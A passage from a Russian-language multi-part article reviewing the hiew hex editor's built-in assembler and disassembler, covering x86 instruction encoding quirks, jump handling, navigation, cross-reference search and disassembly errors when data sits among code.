COLUMNS(3), DIMENSION(IN), COLWIDTHS(1.4200,1.9392,1.9242), WIDTH(4.2600), ABOVE(.0984), BELOW(.0984), HGUTTER(.0555), VGUTTER(.0433), BOX(Z_DOUBLE), HGRID(Z_SINGLE), VGRID(Z_SINGLE), KEEP(OFF), ALIGN(CT)
TTL9, TTL9, TTL9
, Дизассемблер, Ассемблер
Без базирования:, .0040119A: call .000401298, 0000119A: call 000001298
С базированием:, .0040119A: call .000401298, 0040119A: call 000401298
Как мы можем с удовлетворением отметить, базирование решило проблему и можно даже не пинать автора, требуя, чтобы он исправил этот недостаток (хотя это с его стороны все же непростительный баг).
Очень удобно, что hiew при ассемблировании не пытается оптимизировать то, что его не просят. Например, если вы укажете адресацию через DS. то перед командой появится соответствующий префикс 0x3E. Сравните:
00000000: 3EA16606 mov ax,ds:[00666] ^^ 00000004: A16606 mov ax,[00666]
Любой другой привычный нам ассемблер (tasm, masm) выдал бы идентичные результаты, что не вызывает у меня восторга. За это и любим hiew: он послушно делает то, что ему говорят.
Ассемблирование вообще процесс довольно творческий. Одна и та же мнемоническая инструкция может быть ассемблирована по-разному. Такова уж специфика архитектуры линейки 80x86 микропроцессоров от Intel. Микрокод первых процессоров разрабатывался в то далекое время, когда экономить приходилось каждый байт, и поэтому инженеры Intel обратили внимание на ситуацию, когда регистр размером в слово манипулирует непосредственным значением меньшим 0x100. При этом старший байт равен нулю, т.е. теоритически может быть ужат до одного бита, а этот самый бит можно разместить в пустующем поле приемника (ясно, что приемником непосредственный операнд быть никак не может). В результате этих ухищрений экономится один байт. Итак, такую команду можно записать двумя способами:
00000007: 83C266 add dx,066 ;"f" 0000000A: 81C26600 add dx,00066 ;" f"
При этом hiew всегда выбирает первый из них (т.е. пытается оптимизировать код). Это восторга у хакеров не вызывает, ибо часто не соответствует ожидаемому результату.
Диаметрально противоположна ситуация при генерации переходов. По умолчанию hiew всегда генерирует близкий (near) переход 0xE9. Если необходимо задать близкий переход, то заставить hiew это сделать поможет команда jmps (jmp short действует аналогично). Позволю себе слегка покритиковать автора и заметить, что кракеры чаще всего заменяют условный переход на безусловный. При этом jmp near откровенно портит код. Обидно. ~~14
Продолжая критику, заметим, что ассемблер также не понимает ни ординалов, ни символьных имен, что совсем не радует. Очень хотелось бы в следующих версиях получить полноценную поддержку перечисленных выше форматов.
В остальном же ассемблер ведет себя корректно и безглючно. При этом имеет встроенный калькулятор. Т.е. он прекрасно переваривает конструкции типа mov ax,[66+11] и даже mov ax,[-77]. Последнее, правда, без учета режима (еще один баг - в копилку!). Отрицательные числа адреса всегда дополняются до слова. При этом в 32-разрядном режиме забавно выглядит попытка ассемблировать 'jmp -1'
00000003: E9F7FFFFFF jmp ^^^^^^
Заметим, что только извращенцу придет в голову пользоваться последним, однако в защитах это встречается и работает следующим образом. Пусть, например, есть код:
00000000: E9FAFFFFFF jmp -1 00000005: 90 nop 00000006: 90 nop
При этом jmp смещает указатель команд на единицу, и получается:
00000000: FF9090909090 call d,[eax][090909090]
Что, заметим, никак не очевидно и является довольно любопытным приемом. Вероятно, не всем приходит в голову, что jmp можеть прыгать в границах своего операнда. Хотя вообще ассемблирование отрицательных переходов в hiew это один большой баг, или фича. Во всяком случае он не работает так, как ожидается.
Впрочем, это все мелочи, которые в ближайших версиях обоих продуктов будут исправлены.
Еще одним недостатком, приходящим на ум, является упорное нежелание hiew-a 'переваривать' директиву <ptr>, поэтому выражение
mov Word ptr CS: [077],66
не может быть обработано синтаксическим анализатором. Приходится его сокращать до
mov Word CS:[077],66
Ужасно неудобно менять свои привычки, но что поделаешь - приходится. Последнее частично скрашивается приятной возможностью сокращать byte/word/dword/pword/qword/tbyte до b/w/d/p/q/t, как показано ниже:
г= Pentium(R) Pro Assembler =====================================¬ ¦ mov w,[0077],0022--------------------------------------- ¦ L================================================================-
Все числа считаются шестнадцатиричными по умолчанию, но никто не будет против буковки 'h'. А вот с 'x' анализатор не знает что делать и незамедлительно начинает ругаться. Это выглядит особенно странно на фоне калькулятора, который такую нотацию как раз понимает, но в свою очередь не переваривает 'h'.
Чем больше я изучаю hiew, тем больше у меня складывается впечатление, что его писали два разных человека. Это, конечно, больше шутка, чем правда. Однако не мешало бы попинать автора, чтобы привести анализатор в порядок, а то работать порой бывает весьма дискомфортно.
Анализатор ошибок на редкость упрощен, однако это не должно вызывать каких-то проблем. (Я предполагаю, что hiew все же расчитан на тех людей, чей второй язык (после родного) - ассемблер, и достаточно лишь намека, чтобы понять, почему "оно" не ассемблируется).
Дизассемблер
Дизассемблер в hiew великая вещь. Фактически это основной режим работы хакера. Не то чтобы некоторые ленились дизассемблировать в уме hex-коды, (что, скажем, частенько приходится делать при работе со встроеным вьювером в DN), но ассемблерский листинг все же привычнее для глаза и, кроме того, имеет множество дополнительных возможностей (таких, как поиск ассемблерских команд по маске), которые заметно ускоряют анализ программ.
К сожалению (и, признаться, еще большему удивлению), автор не считает hiew дизассемблером и не хочет улучшать некоторые моменты чисто из идеологических соображений. Ну что же, будем ждать поддержки языка, где все это можно будет делать на лету, не обращаясь за помощью к автору. И сообразно со вкусами каждого. Беда в том, что раскачать автора на встроенный язык или хотя бы задокументированный API (язык-то написать нетрудно) пока никак не получается.
Ничего не поделаешь: как говорится хозяин - барин, тем более что автор пишет hiew пока лишь для собственного удовольствия и исходя из своих этических соображений. Вот когда автор будет получать за свою работу "живые" деньги, тогда и можно будет ждать исполнения желаний, а пока остается только надеяться или садиться и писать собственный Xview. Последнее, кстати, многие активно делают, и я не исключение. Впрочем, мой UniversalViewer находится в весьма заброшенном состоянии, но если когда-то будет закончен, то... появится еще один конкурент на рынке hex-редакторов. К слову сказать, UV изначально расчитан на мультипроцессорную поддержку и будет очень удобен при анализе эмуляторов виртуальных процессоров.
Но это когда еще будет (и будет ли вообще), а hiew уже есть и поддерживает инструкции вплоть до Pentium Pro. А точнее, до P6-kernel, которое используется и в Celeron-ах.
Типичный вид дизассемблированного текста таков:
.00401207: 50 push eax .00401208: 52 push edx .00401209: E8D2FEFFFF call .0004010E0 -------- (1) .0040120E: 83C404 add esp,004 ;"" .00401211: 50 push eax .00401212: E8A9FEFFFF call .0004010C0 -------- (2) .00401217: 83C408 add esp,008 ;"" .0040121A: 663DF801 cmp ax,001F8 ;"°" .0040121E: 7404 je .000401224 -------- (3) .00401220: 6A03 push 003 .00401222: EB02 jmps .000401226 -------- (4) .00401224: 6A04 push 004
Hiew позволяет "путешествовать" по файлу, входя в процедуры и выполняя условные\безусловные переходы. Для этого нужно нажать цифру, которая показана в круглых скобках слева. Посмею высказать свое (возможно предвзятое) мнение, что переходы в IDA реализованы несколько лучше. Переход осуществляется по адресу, на котором находится курсор. Это действительно удобнее, т.к. позволяет "гулять" и по смещениям, передаваемым через стек или регистры. Например:
.004012B9: 6840314000 push 000403140 ;" !!AMPER!!1!!AMPER!!" .004012BE: 6844314000 push 000403144 ;" !!AMPER!!1D" .004012C3: FF74240C push d,[esp][0000C] .004012C7: E834010000 call .000401400 -------- (2)
Hiew не распознал смещения 0х00403140 и 0х00403144. Конечно, можно перейти по ним вручную (F5), но это не очень приятно. Впрочем, мое мнение может не совпадать с мнением автора.
При этом поддерживается многоуровневый откат, который по умолчанию находится на '0' (как это изменить, рассказано в описании файла hiew.ini). К сожалению, буфер отката кольцевой, что не вызывает восторга. Т.к. чтобы вернуться в начальную позицию, надо держать в голове глубину вложенности (а это весьма проблематично). Было бы гораздо лучше если бы при исчерпании стека hiew пищал хотя бы...
Вообще же навигация по исполняемым файлам дело привычное. В любой момент можно прыгнуть в произвольную точку, нажав F5. При этом адрес будет интерпретирован как локальный, если перед ним находится символ '.'; в противном случае всегда осуществляется переход по глобальному смещению внутри файла.
При этом hiew корректно обрабатывает относительные переходы. Например, можно задать +77 или -66 и курсор переместится на 77h байт вперед или 0x66 назад относительно текущей позиции. Печально, но при этом откат невозможен. Хотя поддержка его была бы не лишней и великолепно вписывающейся в общий антураж программы. Еще один довод в пользу того, что встроенный язык избавил бы его от подобных приставаний.
Аналогично обстоит дело и с поиском перекрестных ссылок. Автоматический откат назад не предусмотрен. С другой стороны, это настолько уникальная и полезная вешь, что рука не поднимается каким-либо образом ее критиковать. Традиционно для поиска перекрестных ссылок использовались ida или sourcer (который в этом отношении до сих пор обгонет всех конкурентов). Однако монстроватые дизассемблеры очень медлительны и неповоротливы. Для анализа больших файлов не хватит не только терпения хакера, но иной раз и дискового пространства.
Поэтому выбор многих останавливается на hiew-е. Даже когда он не мог делать это автоматически, ручной поиск занимал все же меньше времени, чем загрузка файлов в IDA. К тому же в большинстве случаев ссылки на сегмент данных в PE-файлах (например, поиск кода, выводящего строку 'key not found') с легкостью обнаруживались "прямым" поиском локальных смещений (с учетом обратного порядка байтов в двойном слове).
Однако поиск относительных смещений таким образом был уже невозможен. С другой стороны, требуемое нам смещение лежит "прямым текстом" в дизассемблированном листинге. Остается лишь просканировать последний. Не могу удержаться и не заметить, насколько логична в этом случае IDA, которая поддерживает "медленный" поиск подстроки именно в тексте дизассемблера. Это действительно медленно, но на все 100% надежно. hiew же просто дизассемблирует код на лету с шагом в одну команду (или даже байт) и сравнивает непосредстенный операнд с текущим смещением, при этом косвенная адресация игнорируется и значения сегментых регистров не отслеживаются. Поэтому такой поиск хорошо работает только на односегментных моделях памяти. Во всех других случаях появятся проблеммы (ссылки не будут найдены или найдены неверно).
Последнее, впрочем, не подлежит исправлению без переработки всей архитектуры hiew-а, и мы получим продукт, мало отличающийся скоростью от среднестатического дизассемблера. К счастью, наиболее популярный сегодня формат Win32 хранит PE данные и код в одном сегменте, поэтому в отслеживании сегментных регистров никакой нужды нет.
По умолчанию при дизассемблировании hiew анализирует текст с шагом в одну команду, что многократно ускоряет работу, но недостаточно надежно. Разберем следующий пример:
retn DB 0x66 call 0x0666
Для com-файлов это достаточно типичный случай. Как вы думаете дизассемблирует его hiew? Разумеется hiew не догадается, что '0x66' переменная, и выдаст следующий результат:
00000000: C3 retn 00000001: 66E86106 call 000000668 ^^^^^^^^^
Обратите внимание, что теперь переход вычислен неправильно и весь анализ программы летит к черту. А если переменная будет равна нулю (что чаще всего и бывает), на экране появится следующий мусор:
00000000: C3 retn 00000001: 00E8 add al,ch ^^^^ 00000003: 61 popa 00000004: 06 push es
Это происходит потому, что hiew неправильно определил границы команд, в результате чего не смог их правильно дизассемблировать. Ни в коем случае не стоит считать последнее "глюком" или недостатком. Это следствие самой концепции элементарного дизассемблера. IDA справляется с этой ситуацией ценой больших затрат времени на анализ программы. Для файлов в сотни килобайт это не вызывает проблем на современных быстродействующих процессорах, но даже мощности Pentuim-a II и Celeron-a начинает не хватать, когда счет идет на мегабайты или даже десятки мегабайт (между прочим, размер типичного исполняемого файла под Windows).
Ситуацию может спасти разве что перекладывание части работы на человека. В приведенном примере ясно, что код после ret, собственно говоря, не является обязательно кодом. С таким же успехом это могут быть данные. Чтобы разобраться, небходимо найти ссылки на эту область памяти. Устанавливаем курсор на первый байт, переключаем (на всякий случай) шаг сканирования на единицу (alt-F6) и нажимаем F6. Допустим, hiew нашел следующий код:
MOV AL,[01]
Части: 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15